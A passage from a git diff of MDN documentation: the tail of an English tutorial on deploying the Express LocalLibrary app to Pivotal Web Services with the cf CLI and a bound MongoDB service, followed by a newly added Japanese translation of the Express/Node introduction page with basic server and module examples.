and only up to $87 of app usage. For a typical Node app that means you can run an app for an entire year.</li> + </ul> + </li> + <li>Mostly it just works, and if you end up loving it and want to upgrade, scaling your app is very easy.</li> + <li>PWS and other Cloud Foundry applications are used for production apps. </li> +</ul> + +<h2 id="How_does_PWS_work_2">How does PWS work?</h2> + +<p>PWS runs websites and applications using containers and has been for many years. Cloud Foundry started using a container technology called Warden and is now using a container system called Garden. These are very similar to the popular Docker container and in fact, many installations of Cloud Foundry support deploying Docker containers.</p> + +<p>One of the advantages of using Cloud Foundry is that you do not need to create the container spec, as Cloud Foundry's buildpacks will manufacture them based on the latest components. Apps on Cloud Foundry should follow 12 Factor guidelines as the containers deployed are ephemeral and may be cleaned up at anytime and redeployed somewhere else in the cloud. This ensures that your apps and platform have the latest software. An application can consist of multiple instances where the application is placed into redundant containers that enable high availability of your app. Cloud Foundry will automatically handle all the load balancing between identical instances. This allows you to scale your application for performance and availability</p> + +<p>Since the file system is ephemeral any temporary storage or services should be located elsewhere using backing services. This can be done using marketplace services available on different providers or by bringing your own via <a href="https://docs.run.pivotal.io/devguide/services/user-provided.html">User Provided Services</a>.</p> + +<h2 id="What_do_we_cover_below">What do we cover below?</h2> + +<p>This post covers how to modify the LocalLibrary application from the tutorial for deployment on PWS and Cloud Foundry. In doing so, it covers the basics of deploying any node.js application to PWS with the following steps.</p> + +<ul> + <li>Configuring the package.json file to run with the engines available on PWS.</li> + <li>Adding and installing the<a href="https://github.com/cloudfoundry-community/node-cfenv"> 'cfenv' node module</a> to make working with services easier.</li> + <li>Using the cfenv module to connect to a MongoDB instance from mLab that was created and bound using the PWS marketplace.</li> + <li>Using the <a href="https://github.com/cloudfoundry/cli">cf CLI</a> tool to create a new mongoDB service instance and bind it to the local library application.</li> + <li>How to set environment variables for Node using the cf CLI.</li> + <li>How to look at logs, again using the cf CLI tool.</li> +</ul> + +<p>So let's get started. You have two options, you can go through the tutorial from the <a href="<https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website>">beginning</a> or you can just download the completed project and modify it from there for use on PWS. To do the latter, you can do the following from a terminal:</p> + +<pre class="brush: bash"><code>git clone https://github.com/mdn/express-locallibrary-tutorial</code></pre> + +<p>You'll then need to follow the preparation steps listed in the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment#Getting_your_website_ready_to_publish">Getting your website ready to publish</a> section of <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a>, before then following the steps listed below.</p> + +<div class="note"> +<p><strong>Note</strong>: This work flow is based on the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment#Example_Installing_LocalLibrary_on_Heroku">Mozilla Heroku work flow in the main Express/Node tutorial series</a> for consistency, to help readers compare and contrast. </p> +</div> + +<h2 id="Modifying_the_LocalLibrary_for_PWS">Modifying the LocalLibrary for PWS</h2> + +<p id="How_does_PWS_work">Deployment of a Node application on Cloud Foundry takes the following steps. Using the downloaded 'cf' CLI tool on your environment, your source code and supporting metadata files are uploaded to Cloud Foundry which will assemble and package the components of your application. Note that your files need to be located on your system to deploy or as a zip archive somewhere accessible on the internet. We'll assume the former.</p> + +<p>This means, no assumptions about which source control system is used. As long as you have a complete source tree in your local file system you can deploy the app. There are some things you have to make available to ensure the correctly assembly of your Node application. First Cloud Foundry cf CLI will look for the presence of the 'package.json' file to determine the dependencies and download the necessary components. The rules of this assembly are defined in Cloud Foundry's <a href="http://docs.run.pivotal.io/buildpacks/node/">nodejs buildpack</a>. An optional cloud foundry manifest file can specify information about your application such as name, size and start command if non-standard. In addition to deploying the application, the cf CLI tool can also configure services, set environment variables and view logs. That's all the overview you need in order to get started (see <a href="https://docs.run.pivotal.io">Getting Started on Pivotal Web Services</a> for a more comprehensive guide). Let's start making the changes so you'll need to deploy the <em>LocalLibrary</em> application to PWS.</p> + +<h3 id="Set_node_version">Set node version</h3> + +<p>The <strong>package.json</strong> contains everything needed to work out your application dependencies and what file should be launched to start your site. Cloud Foundry and PWS detects the presence of this file, and will use it to provision your app environment. The only useful information missing in our current <strong>package.json</strong> is the version of node. We can find the version of node we're using for development by entering the command:</p> + +<pre class="brush: bash">node --version +# <em>will return version e.g. v6.10.3</em></pre> + +<p>Open <strong>package.json</strong> with a text editor, and add this information as an <strong>engines > node</strong> section as shown (using the version number retrieved above).</p> + +<pre class="brush: json">{ + "name": "express-locallibrary-tutorial", + "version": "0.0.0", +<strong> "engines": { + "node": "6.10.3" + },</strong> + "private": true, + ... +</pre> + +<h3 id="Database_configuration">Database configuration</h3> + +<p>So far in this tutorial we've used a single database that is hard coded into the <strong>app.js </strong>file. Normally we'd like to be able to have a different database for production and development, so next we'll modify the LocalLibrary website to get the database URI from the OS environment, and otherwise use our development database that we added manually earlier. Cloud Foundry has a very flexible services model that enables multiple services of the same type to exist in the environment. It stores all services related configurations in a single parseable JSON object called <code>VCAP_SERVICES</code>. A typical <code>VCAP_SERVICES</code> variable looks like this:</p> + +<pre class="brush: json">{ + "VCAP_SERVICES": { + "mlab": [ + { + "credentials": { + "uri": "mongodb://CloudFoundry_test_dev:somecr8zypassw0rd@dbhost.mlab.com:57971/CloudFoundry_dbname" + }, + "label": "mlab", + "name": "node-express-tutorial-mongodb", + "plan": "sandbox", + "provider": null, + "syslog_drain_url": null, + "tags": [ + "Cloud Databases", + "Developer Tools", + "Web-based", + "Data Store", + ], + "volume_mounts": [] + } + ] + } +} + +</pre> + +<p>Writing the code to extract and parse this environment variable is not hard, but it doesn't add a lot of value when others have written libraries to do this. In this case, there is a node.js package we can use called <a href="https://github.com/cloudfoundry-community/node-cfenv"><em>cfenv</em></a>.</p> + +<p>This will download the cfenv module and its dependencies, and modify the package.json file as required. Open <strong>app.js</strong> and find the block with all the 'requires' that load the modules into your application. In this example look for the line that looks something like this:</p> + +<pre class="brush: js">var expressValidator = require('express-validator');</pre> + +<p>If you cannot find that exact line, look for the blocks of 'requires' and look for the last one. Add the following text after it:</p> + +<pre class="brush: js">var cfenv = require('cfenv');</pre> + +<ol> + <li> + <p>To install the package, go to your terminal and make sure you are in the directory where the <code>package.json</code> file for LocalLibrary is. From the command line, type:</p> + + <pre class="brush: bash">npm install cfenv</pre> + </li> + <li> + <p>Now that you have loaded the module, this next line will instantiate an object that will contain the app and services information required for deployment. Add the following after the line that contains <code>app.use(helmet());</code></p> + + <pre class="brush: js">// Set up CF environment variables +var appEnv = cfenv.getAppEnv(); +</pre> + + <p>When this line executes, all the Cloud Foundry application environment information will become available to the application in the <code>appEnv</code> object.</p> + </li> + <li> + <p>Now it is time to update the application to use the database configured by the platform. Find the line that sets the mongoDB connection variable. It will look something like this:</p> + + <pre class="brush: js">var mongoDB = process.env.MONGODB_URI || dev_db_url;</pre> + </li> + <li> + <p>You will now modify the line with the following code <code>appEnv.getServiceURL('node-express-tutorial-mongodb')</code> to get the connection string from an environment variable that is being managed by the <code>cfenv</code> module. If no service has been created and bound it will use your own database URL you created as part of the tutorial instead of the one from the environment. So replace the line above with the following:</p> + + <pre class="brush: js">var mongoDB = appEnv.getServiceURL('node-express-tutorial-mongodb') || dev_db_url; +</pre> + </li> + <li> + <p>Now run the site locally (see <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes#Testing_the_routes">Testing the routes</a> for the relevant commands) and check that the site still behaves as you expect. At this point your app is ready to use with Cloud Foundry and Pivotal Web Services.</p> + </li> +</ol> + +<h2 id="Get_a_Pivotal_Web_Services_account">Get a Pivotal Web Services account</h2> + +<p>To start using Pivotal Web Services you will first need to create an account (skip ahead to <a href="#Create_and_upload_the_website">Create and upload the website</a> if you've already got an account and have already installed the PWS cf CLI client).</p> + +<ul> + <li>Go to <a href="https://run.pivotal.io">https://run.pivotal.io</a> and click the <strong>SIGN UP FOR FREE</strong> button.</li> + <li>Enter your details and then press <strong>CREATE FREE ACCOUNT</strong>. You'll be asked to check your email for a sign-up email.</li> + <li>Click the account activation link in the signup email. You'll be taken back to your account on the web browser and you will complete the registration.</li> + <li>You will set your password and go through the rest of the new user sign up and how to claim your free trial account. Note you need a mobile phone to confirm your account. You will receive an "org" account funded with $87 of application usage credit. Note your email account can be in multiple orgs on PWS. This is similar to your user account on services like GitHub.</li> + <li>Go to <a href="https://login.run.pivotal.io">https://console.run.pivotal.io</a> and login in. You'll then be logged in and taken to the PWS dashboard: <a href="https://console.run.pivotal.io">https://console.run.pivotal.io</a>.</li> +</ul> + +<h2 id="Install_the_cf_CLI_client">Install the cf CLI client</h2> + +<p>The cf CLI client is a software tool for managing and deploying your application. Download and install the PWS cf CLI client by following the <a href="https://console.run.pivotal.io/tools">instructions on Pivotal Web Services</a> or downloading directly from <a href="https://github.com/cloudfoundry/cli">GIthub</a>. Be sure to download the correct version for your computer. After the client is installed you will be able run commands, for example to get help on the client:</p> + +<pre class="brush: bash">cf help +</pre> + +<p>We'll now go through the steps to login to PWS using the CLI and deploy — or in Cloud Foundry parlance "push" your app.</p> + +<h2 id="Create_and_upload_the_website">Create and upload the website</h2> + +<p>To create the app we navigate to the directory where our modified files are. This is the same directory where the LocalLibrary package.json file is located. First, let's tell the cf CLI which Cloud Foundry instance you want to use. We need to do this, since the cf CLI tool can be used with any standard Cloud Foundry system, so this command indicates which specific Cloud Foundry you are using. Enter the following terminal command now:</p> + +<pre class="brush: bash">cf api api.run.pivotal.io</pre> + +<p>Next login using the following command (enter your email and password when prompted):</p> + +<pre class="brush: bash">cf login +Email: enter your email +Password: enter your password</pre> + +<p>We can now push our app to PWS. In the below example. replace 'some-unique-name' with something you can remember that is likely to be unique. If it isn't unique, the system will let you know. The reason this name has to be unique to the PWS system is it is the address we will use to to access your LocalLibrary application. I used <em>mozilla-express-tutorial-xyzzy</em>. You should use something else.</p> + +<pre class="brush: bash">cf push some-unique-name -m 256MB</pre> + +<p>Note the <code>-m</code> flag we added is not required. We just included it so that we only use 256MB of memory to run the app. Node apps typically can run in 128 MB, but we are being safe. If we didn't specify the memory, the CLI would use the default 1 GB of memory, but we want to make sure your trial lasts longer. You should now see a bunch of text on the screen. It will indicate that the CLI is uploading all your files, that it's using the node buildpack, and it will start the app. If we're lucky, the app is now "running" on the site at the URL <code>https://some-unique-name.cfapps.io</code>. Open your browser and run the new website by going to that URL.</p> + +<div class="note"><strong>Note</strong>: The site will be running using our hardcoded development database at this time. Create some books and other objects, and check out whether the site is behaving as you expect. In the next section we'll set it to use our new database.</div> + +<h2 id="Setting_configuration_variables">Setting configuration variables</h2> + +<p>You will recall from a preceding section that we need to <a href="#NODE_ENV">set NODE_ENV to 'production'</a> in order to improve our performance and generate less-verbose error messages.</p> + +<ol> + <li> + <p>Do this by entering the following command:</p> + + <pre class="brush: bash">cf set-env some-unique-name NODE_ENV production +</pre> + </li> + <li> + <p>We should also use a separate database for production. Cloud Foundry can take advantage of a marketplace to create a new service and automatically bind it to your app. Bind means place the service database credentials in the environment variable space of the container running your application for you to access. Enter the following commands:</p> + + <pre class="brush: bash">cf create-service mlab sandbox node-express-tutorial-mongodb +cf bind-service some-unique-name node-express-tutorial-mongodb +</pre> + </li> + <li> + <p>You can inspect your configuration variables at any time using the <code>cf env some-unique-name</code> command — try this now:</p> + + <pre class="brush: bash">cf env some-unique-name +</pre> + </li> + <li> + <p>In order for your applications to use the new credentials you will have to restage your application, meaning that it will restart and apply the new environment variables. This can be done using the following — enter this command now:</p> + + <pre class="brush: bash">cf restage some-unique-name +</pre> + </li> + <li> + <p>If you check the home page now it should show zero values for your object counts, as the changes above mean that we're now using a new (empty) database.</p> + </li> +</ol> + +<h2 id="Debugging">Debugging</h2> + +<p>The PWS cf client provides a few tools for debugging:</p> + +<pre class="brush: bash">>cf logs some-unique-name --recent # Show current logs +>cf logs some-unique-name # Show current logs and keep updating with any new results</pre> + +<h2 id="Summary">Summary</h2> + +<p>If you followed the above steps, you should have now deployed the LocalLibrary app to PWS. Well done! If the deployment wasn't successful, double check all the steps.</p> diff --git a/files/ja/learn/server-side/express_nodejs/introduction/index.html b/files/ja/learn/server-side/express_nodejs/introduction/index.html new file mode 100644 index 0000000000..c194cff772 --- /dev/null +++ b/files/ja/learn/server-side/express_nodejs/introduction/index.html @@ -0,0 +1,528 @@ +--- +title: Express/Node のイントロダクション +slug: Learn/Server-side/Express_Nodejs/Introduction +tags: + - Beginner + - CodingScripting + - Express + - Learn + - Node + - nodejs + - server-side + - サーバーサイド + - 初心者 +translation_of: Learn/Server-side/Express_Nodejs/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">Express の最初の記事では ”Node って何だろう？”、”Express って何だろう？”という疑問に答え、なぜ Express ウェブフレームワークが特別なのかについて概要を説明します。主な特徴、Express アプリケーションの主な基本要素(テスト開発環境についてはここではまだ触れません) を大まかに説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件</th> + <td>基本的なコンピューターリテラシー。<a href="/ja/docs/Learn/Server-side/First_steps">サーバーサイドのウェブサイトプログラミング</a>の一般的な理解、特に<a href="/ja/docs/Learn/Server-side/First_steps/Client-Server_overview">ウェブサイトにおけるクライアントとサーバーのやりとり</a>の仕組み。</td> + </tr> + <tr> + <th scope="row">目標</th> + <td>Express の特徴、Node との適合性、提供する機能、Express アプリケーションの主要な基本要素に慣れてください。</td> + </tr> + </tbody> +</table> + +<h2 id="Node_の紹介"><span class="short_text" id="result_box" lang="ja"><span>Node の紹介</span></span></h2> + +<p><a href="https://nodejs.org/">Node</a><span class="short_text" id="result_box" lang="ja"><span> (正式には Node.js) </span></span><span id="result_box" lang="ja"><span>はオープンソースのクロスプラットフォーム、実行環境で、開発者はあらゆるサーバーサイドのツールやアプリケーションを <a href="ja/docs/Glossary/JavaScript">JavaScript</a> で作成することができます。この実行環境はブラウザーコンテキスト外での使用 (すなわち、コンピューターまたはサーバー OS 上での直接実行) を目的としています。そのため、クライアントサイドではブラウザー固有の JavaScript API が省略され、HTTP やファイルシステムライブラリを含む従来の OS API がサポートされます</span></span><span lang="ja"><span>。</span></span></p> + +<p>ウェブサーバー開発の観点から Node には多くの利点があります。</p> + +<ul> + <li>素晴らしいパフォーマンス！ Node はウェブアプリケーションのスループットとスケーラビリティを最適化するように設計されており、多くの一般的なウェブ開発の問題 (リアルタイムウェブアプリケーションなど) に非常に適しています</li> + <li>コードは "plain old JavaScript" で書かれています。つまり、ブラウザーとウェブサーバーの両方のコードを記述しているときに、言語間の "コンテキストシフト" に費やす時間が短くなります</li> + <li>JavaScript は比較的新しいプログラミング言語であり、他の従来の ウェブサーバー言語 (Python、PHPなど) と比較して言語設計の改善のメリットがあります。CoffeeScript、ClosureScript、Scala、LiveScript などを使用できるように、新しく普及している多くの言語が JavaScript にコンパイル/変換されます。</li> + <li>Node パッケージマネージャー (NPM) は、何十万もの再利用可能なパッケージへのアクセスを提供します。クラス最高の依存関係解決機能もあり、ほとんどのビルドツールチェーンの自動化にも使用できます。</li> + <li>Node.js は移植可能です。Microsoft Windows、macOS、Linux、Solaris、FreeBSD、OpenBSD、WebOS、および NonStop OS で利用できます。さらに、多くの ウェブホスティングプロバイダが、Node サイトをホスティングするための特定のインフラストラクチャとドキュメントが提供しています。</li> + <li>非常に活発な第三者のエコシステムと開発者コミュニティがあり、多くの方々が 快く協力しています。</li> +</ul> + +<p>Node HTTP パッケージを使用することで、Node.js で簡単な ウェブサーバーを作成できます。</p> + +<h3 id="Hello_Node.js">Hello Node.js</h3> + +<p>次の例では、URL <code>http://127.0.0.1:8000/</code> にあるあらゆる種類の HTTP リクエストを待ち受ける ウェブサーバーを作成します。リクエストが受信されると、スクリプトは "Hello World" という文字列でレスポンスします。すでに Node をインストールしている場合は、次の手順に従ってこの例を試すことができます。</p> + +<ol> + <li>ターミナルを開きます (Windows ではコマンドラインユーティリティを開きます)。</li> + <li>プログラムを保存するフォルダ (たとえば "test-node") を作成し、端末に次のコマンドを入力して移動します。</li> +</ol> + +<pre class="line-numbers language-html"><code class="language-html">cd test-node</code></pre> + +<ol start="3"> + <li>好きなテキストエディタを使って "hello.js" というファイルを作成し、次のコードを貼り付けます。</li> +</ol> + +<pre class="brush: js">// HTTPモジュールの読み込み +var http = require("http"); + +// <span id="result_box" lang="ja"><span>HTTPサーバーを作成し、ポート8000でリクエスト</span></span>を行う +http.createServer(function(request, response) { + + // HTTP ステータスとコンテントタイプを持つ HTTP ヘッダのレスポンスを設定 + response.writeHead(200, {'Content-Type': 'text/plain'}); + + // レスポンスボディー"Hello World"を送信 + response.end('Hello World\n'); +}).listen(8000); + +// <span class="short_text" id="result_box" lang="ja"><span>サーバーにアクセスするための URL を出力</span></span> +console.log('Server running at http://127.0.0.1:8000/');</pre> + +<ol start="4"> + <li>上記で作成したフォルダにファイルを保存します。</li> + <li>ターミナルに戻り、次のコマンドを入力します。</li> +</ol> + +<pre class="brush: bash line-numbers language-bash"><code class="language-bash">node "hello.js"</code></pre> + +<p>最後に、ウェブブラウザーで <code>"http://localhost:8000"</code> に移動します。テキスト以外は空の ウェブページの左上に "Hello World" というテキストが表示されます。</p> + +<h2 id="ウェブフレームワーク">ウェブフレームワーク</h2> + +<p>その他の一般的なウェブ開発タスクは、Node 自体では直接サポートされていません。異なる HTTP 動詞 (<code>GET</code>, <code>POST</code>, <code>DELETE</code> など) に特定の処理を追加したい場合、別々の URL パス ("routes") でリクエストを個別に処理したり、静的ファイルを提供したり、テンプレートを使用してレスポンスを動的に作成したり、あなた自身でコードを書く必要があります。そうしない場合はウェブフレームワークを使用して、車輪の再発明を避けることができます。</p> + +<h2 id="Express_のイントロダクション">Express のイントロダクション</h2> + +<p><a href="https://expressjs.com/ja/">Express</a> は最も一般的な Node ウェブフレームワークであり、他の多くの一般的な <a href="https://expressjs.com/en/resources/frameworks.html">Node ウェブフレームワーク</a>の基礎となるライブラリです。それは以下のメカニズムを提供します：</p> + +<ul> + <li>異なる URL のパス (ルート) で異なる HTTP 動詞を使用してリクエストのハンドラを作成します。</li> + <li>テンプレートにデータを挿入してレスポンスを生成するために、「ビュー」レンダリングエンジンと統合します。</li> + <li>接続に使用するポートやレスポンスのレンダリングに使用されるテンプレートの場所などの一般的なウェブアプリケーション設定値を設定します。</li> + <li>リクエスト処理パイプライン内の任意の時点で、追加のリクエスト処理「ミドルウェア」を追加します。</li> +</ul> + +<p>Express 自体はかなりシンプルですが、開発者はほぼすべてのウェブ開発問題に対応する互換性のあるミドルウェアパッケージを作成しています。Cookie、セッション、ユーザーログイン、URL パラメータ、POST データ、セキュリティヘッダーなどを扱うライブラリがあります。Express チームが管理するミドルウェア・パッケージのリストは、<a href="http://expressjs.com/en/resources/middleware.html">Express Middleware</a> (一般的なサード・パーティ・パッケージのリストとともに) にあります。</p> + +<div class="note"> +<p><strong>注:</strong> この柔軟性は両刃の剣です。ほぼすべての問題や要件に対応するミドルウェアパッケージがありますが、適切なパッケージを使用して作業することは時には挑戦になることがあります。アプリケーションを構造化する「正しい方法」もなく、インターネット上で見つかる多くの例は最適ではないし、ウェブアプリケーションを開発するために必要なことのほんの一部を示しているだけです。</p> +</div> + +<h2 id="Node_と_Express_はどこから来たのですか？">Node と Express はどこから来たのですか？</h2> + +<p>Node は 2009 年に Linux 用に最初にリリースされました。NPM パッケージマネージャは 2010 年にリリースされ、ネイティブ Windows サポートは 2012 年に追加されました。現在の LTS リリースは Node v10.13.0 で、最新のリリースは Node 11.2.0 です。これは、豊かな歴史の小さなスナップショットです。もっと知りたいのであれば、<a href="https://en.wikipedia.org/wiki/Node.js#History">Wikipedia</a> を掘り下げてみてください。</p> + +<p>Express は 2010 年 11 月に最初にリリースされ、現在 API のバージョンが 4.16.3 になっています。現在のリリースの変更点については<a href="https://expressjs.com/en/changelog/4x.html">更新履歴</a>を、詳細な履歴リリースノートについては <a href="https://github.com/expressjs/express/blob/master/History.md">GitHub</a> を参照してください。</p> + +<h2 id="Node_と_Express_はどれくらい普及していますか？">Node と Express はどれくらい普及していますか？</h2> + +<p>ウェブフレームワークの普及は、それが維持されるかどうかの指標であり、ドキュメンテーション、アドオンライブラリ、テクニカルサポートの面でどのようなリソースが利用される可能性が高いかという点で重要です。</p> + +<p>サーバー側のフレームワークの普及率 (<a href="http://hotframeworks.com/">Hot Frameworks</a> のようなサイトでは、GitHub プロジェクトの数や各プラットフォームの StackOverflow の質問数などの仕組みを使って人気を評価しようとしています) は、すぐに利用可能で決定的なものではありません。より良い質問は、人気のないプラットフォームの問題を避けるために Node と Express が「人気がある」かどうかです。それらは進化し続けていますか？あなたがそれを必要としたら助けを得ることができますか？あなたが Express を学ぶならば、あなたは職を得る機会がありますか？</p> + +<p>Express を使用している<a href="https://expressjs.com/en/resources/companies-using-express.html">有名企業</a>の数、コードベースに貢献している人の数、および無料と有料の両方でサポートを提供している人の数に基づけば、Express は一般的なフレームワークです。</p> + +<h2 id="Expressは指図をしたがりますか？">Expressは指図をしたがりますか？</h2> + +<p>ウェブフレームワークはしばしば自身を「指図をしたがる」または「指図をしない」ものと称します。</p> + +<p>指図をしたがるフレームワークは、特定のタスクを扱うのに「正しい方法」があるという考えを持っています。何であれ正しい方法であれば普通よく理解され細かく文書化されているため、（特定のタイプの問題を解決するような）特定の領域における素早い開発をサポートします。しかしながら、彼らが主眼とする領域の外にある問題を解決するにあたっては柔軟性に劣り、利用できるコンポーネントやアプローチの選択肢が限られたものになりがちです。</p> + +<p>一方、指図をしないフレームワークは、目的の達成のためにコンポーネントをつなぎ合わせる最善の方法や、どのコンポーネントを使うかにさえも、あまり制約を設けません。<br> + 開発者は、コンポーネントを自分自身で探す必要があるという手間をかければ、特定のタスクを完了させるのに最適なツールの利用をより容易にします。</p> + +<p>Express は指図をしません。リクエストを処理するチェインの中で、互換性のある好きなミドルウェアを、好きな順番で挿し込むことができます。1 つのファイルまたは複数のファイル、任意のディレクトリ構造を使ってアプリケーションを構成できます。<br> + ときに選択肢が多すぎるようにも感じられるでしょう！</p> + +<h2 id="Expressコードはどのように見えますか？">Expressコードはどのように見えますか？</h2> + +<p>従来のデータ駆動型ウェブサイトでは、ウェブアプリケーションはウェブブラウザー (または他のクライアント) からの HTTP リクエストを待機します。リクエストが受信されると、アプリケーションは URL パターンと、<code>POST</code> データまたは <code>GET</code> データに含まれる可能性のある関連情報に基づいて、必要なアクションを実行します。必要に応じて、データベースから情報を読み書きしたり、リクエストを満たすために必要な他のタスクを実行することができます。アプリケーションはウェブブラウザーにレスポンスを返し、検索されたデータを HTML テンプレートのプレースホルダに挿入することによってブラウザーが表示する HTML ページを動的に作成することがよくあります。</p> + +<p>Express は特定の HTTP 動詞 (<code>GET</code>, <code>POST</code>, <code>SET</code> など) と URL パターン ("Route") に対してどの関数が呼び出されるかを指定するメソッドと、どのテンプレート ("view") エンジンが使用されるかを指定するメソッドを提供します。テンプレートエンジンを使用するには、レスポンスをレンダリングするためのテンプレートファイルを配置します。Express ミドルウェアを使用して、Cookie、セッション、およびユーザー、<code>POST</code>/<code>GET</code> パラメーターなどのサポートを追加することができます。Node がサポートするデータベース・メカニズムを使用できます (Express はデータベース関連の動作を定義しません)。</p> + +<p>次のセクションでは、Express およびノード・コードを使用して作業するときに表示される一般的な事項について説明します。</p> + +<h3 id="Helloworld_Express">Helloworld Express</h3> + +<p>最初に、標準の Express の <a href="https://expressjs.com/ja/starter/hello-world.html">Hello World</a> の例を考えてみましょう (これについては、以下の各セクションで説明します)。</p> + +<div class="note"> +<p><strong>Tip:</strong> Node と Express がすでにインストールされている場合 (または<a href="/ja/docs/Learn/Server-side/Express_Nodejs/development_environment">次の記事</a>のようにインストールする場合) は、このコードを <strong>app.js</strong> というテキストファイルに保存し、bash コマンドプロンプトで次のように呼び出して実行できます。</p> + +<p><strong><code>node ./app.js</code></strong></p> +</div> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> express <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'express'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> app <span class="operator token">=</span> <span class="function token">express</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +app<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="string token">'/'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">)</span> <span class="punctuation token">{</span> + res<span class="punctuation token">.</span><span class="function token">send</span><span class="punctuation token">(</span><span class="string token">'Hello World!'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +app<span class="punctuation token">.</span><span class="function token">listen</span><span class="punctuation token">(</span><span class="number token">3000</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Example app listening on port 3000!'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>最初の2行は <code>require()</code> で express モジュールをインポートして <a href="https://expressjs.com/ja/4x/api.html#app">Express アプリケーション</a>を作成します。このオブジェクトは伝統的に <code>app</code> と呼ばれ、HTTP リクエストのルーティング、ミドルウェアの設定、HTML ビューのレンダリング、テンプレートエンジンの登録、アプリケーションの動作を制御する<a href="https://expressjs.com/ja/4x/api.html#app.settings.table">アプリケーション設定</a>の変更 (環境モード、ルート定義の大文字と小文字の区別など) のためのメソッドがあります。</p> + +<p>コードの中央部分 (<code>app.get</code> で始まる3行) はルート定義を示しています。<code>app.get()</code> メソッドは、サイトルートからの相対パス (<code>'/'</code>) を持つ HTTP <code>GET</code> リクエストがあるたびに呼び出されるコールバック関数を指定します。コールバック関数はリクエストとレスポンスオブジェクトを引数として取り、レスポンスに対して単に <code><a href="https://expressjs.com/ja/4x/api.html#res.send">send()</a></code> を呼び出して文字列 "Hello World!" を返します。</p> + +<p>最後のブロックは3000番ポートでサーバーを起動し、コンソールにログコメントを出力します。 サーバーが稼働している場合は、ブラウザーの <code>localhost:3000</code> にアクセスして、レスポンスの例を確認することができます。</p> + +<h3 id="モジュールのインポートと作成">モジュールのインポートと作成</h3> + +<p>モジュールは Node の <code>require()</code> 関数を使って他のコードにインポートできる JavaScript ライブラリ/ファイルです。 Express 自体はモジュールです。Express アプリケーションで使用するミドルウェアおよびデータベースライブラリも同様です。</p> + +<p>以下のコードは、例として Express フレームワークを使用して、モジュールを名前でインポートする方法を示しています。 最初に <code style="font-style: normal; font-weight: normal;">require()</code> 関数を呼び出し、モジュールの名前を文字列 (<code>'express'</code>) として指定し、返されたオブジェクトを呼び出して <a href="https://expressjs.com/ja/4x/api.html#app.settings.table">Express アプリケーション</a>を作成します。その後、アプリケーションオブジェクトのプロパティと機能にアクセスできます。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> express <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'express'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> app <span class="operator token">=</span> <span class="function token">express</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>独自のモジュールを作成して、同じ方法でインポートすることもできます。</p> + +<div class="note"> +<p><strong>メモ:</strong> あなたは自身のモジュールを作成したいと思うでしょう、これはあなたが自身のコードを管理しやすい部品に分けることを可能にします 。ちなみに、モノリシックな単一ファイルのアプリケーションは理解し維持するのが難しいです。モジュールを使用すると、明示的にエクスポートした変数のみがインポートされるため、モジュールを使用すると名前空間を管理するのにも役立ちます。</p> +</div> + +<p>オブジェクトをモジュールの外部で利用可能にするには、それらを <code>exports</code> オブジェクトの追加プロパティとして公開するだけです。たとえば、以下の <strong>square.js</strong> モジュールは <code>area()</code> メソッドと <code>perimeter()</code> メソッドをエクスポートしたファイルです。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">exports<span class="punctuation token">.</span>area <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>width<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> width <span class="operator token">*</span> width<span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">;</span> +exports<span class="punctuation token">.</span>perimeter <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>width<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="number token">4</span> <span class="operator token">*</span> width<span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p><code>require()</code> を使ってこのモジュールをインポートし、次に示すようにエクスポートされたメソッドを呼び出すことができます。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> square <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'./square'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// require() にはファイル拡張子を除いたファイル名を引数に指定します。</span> +console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'The area of a square with a width of 4 is '</span> <span class="operator token">+</span> square<span class="punctuation token">.</span><span class="function token">area</span><span class="punctuation token">(</span><span class="number token">4</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<div class="note"> +<p><strong>メモ:</strong> モジュールへの絶対パス (または最初に行ったように名前) を指定することもできます。</p> +</div> + 